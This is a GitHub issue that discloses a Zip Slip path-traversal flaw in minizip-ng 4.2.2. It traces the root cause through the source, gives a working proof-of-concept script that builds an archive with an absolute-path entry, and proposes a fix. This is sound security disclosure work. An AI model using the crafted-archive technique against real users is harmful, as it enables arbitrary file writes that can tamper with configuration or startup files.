8000 Absolute Path Zip Slip in minizip Extraction Allows Arbitrary File Write · Issue #1038 · zlib-ng/minizip-ng · GitHub
[go: up one dir, main page]

Skip to content

Absolute Path Zip Slip in minizip Extraction Allows Arbitrary File Write #1038

Closed

Description

@smaeljaish771

Summary

At tested commit bc099de75f837342f83851fc947583b8548c7c73 (version 4.2.2), the minizip extraction CLI and mz_zip_reader_save_all permit an archive entry with an absolute path to escape the intended extraction base when no destination directory is supplied. An attacker who controls an archive can create or truncate files at absolute paths writable by the extracting process. This is a path traversal / Zip Slip vulnerability (CWE-22).

Reproduction used the project's OSS-Fuzz Docker build environment.

Technical Details

The CLI initializes destination to NULL in minizip.c and assigns it only when -d is provided. Extraction passes that value directly to mz_zip_reader_save_all (minizip.c:391-417, 644, 731-768).

In mz_zip_reader_save_all (mz_zip_rw.c:875-955), the output buffer starts empty and the destination is prepended only when destination_dir is non-NULL. For an entry named /absolute/file, mz_path_resolve (mz_os.c:129-211) preserves the leading separator. Because the output buffer remains empty, mz_path_combine (mz_os.c:24-43) copies the resolved name verbatim. No final containment check is performed before mz_zip_reader_entry_save_file is called.

The resulting path reaches mz_stream_os_open with MZ_OPEN_MODE_CREATE (mz_zip_rw.c:795-804), which uses O_WRONLY | O_CREAT | O_TRUNC in mz_strm_os_posix.c:86-95. On POSIX systems, the absolute entry name is therefore opened as an absolute filesystem path rather than a path below the extraction directory.

Impact

A victim only needs to extract an attacker-controlled archive with minizip -x archive.zip, without -d. The operation is limited by the extracting process's filesystem permissions, but can affect writable configuration, startup, authorization, or script files outside the working directory. Existing files require normal overwrite behavior, such as -o or user approval; new files can be created directly.

Proof of Concept

Run the following from the repository checkout:

cmake -S . -B build -DMZ_BUILD_TESTS=ON
cmake --build build --target minizip_cli

The following self-contained payload generator creates a ZIP entry with an absolute name and attacker-controlled contents:

checkout="$(pwd)"
run_dir="$(mktemp -d)"
archive="$run_dir/evil.zip"
target="$(dirname "$run_dir")/poc_escape_target.txt"

cleanup() {
    rm -rf "$run_dir"
    rm -f "$target"
}
trap cleanup EXIT

rm -f "$target"
python3 - "$archive" "$target" <<'PY'
import sys
import zipfile

archive, absolute_entry = sys.argv[1:]
with zipfile.ZipFile(archive, "w", zipfile.ZIP_STORED) as z:
    z.writestr(zipfile.ZipInfo(absolute_entry), "ESCAPED_WRITE_OK\n")
PY

# No -d means destination_dir == NULL.
(
    cd "$run_dir" &&
    "$checkout/build/minizip" -x "$archive"
)
rc=$?
printf 'exit_code=%s\n' "$rc"

test "$rc" -eq 0
test -f "$target"
grep -Fx 'ESCAPED_WRITE_OK' "$target"
test ! -e "$run_dir/poc_escape_target.txt"

The validated run exited with code 0, extracted the absolute entry to its true absolute location, and wrote ESCAPED_WRITE_OK. No file with that name was created under the extraction working directory. The supplied run reproduced this result in one execution.

With a destination directory, the same tested implementation keeps the entry below that directory:

destination="$run_dir/destination"
mkdir "$destination"
rm -f "$target"
(
    cd "$run_dir" &&
    "$checkout/build/minizip" -d "$destination" -x "$archive"
)
test ! -e "$target"
test -f "$destination$target"

Suggested Fix

Treat a NULL destination as an explicit extraction root, such as the current working directory, or reject absolute entry names. Before saving each entry, construct the path under that root and fail closed unless the final normalized path remains within it. A safe implementation should strip leading directory separators before joining an absolute-looking entry or reject it outright, with regression tests covering mz_zip_reader_save_all(reader, NULL) and minizip -x using POSIX and platform-specific absolute paths.

Reported by: Secbuddy, Tencent Keen Security Lab @KeenSecurityLab

Activity

  1. added 4 commits that reference this issue on Sep 4, 2026
    4b41a97
    ad4c9ae
    24113ce
    9695380
  2. added a commit that references this issue on Sep 5, 2026
    fcc8858
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions

      0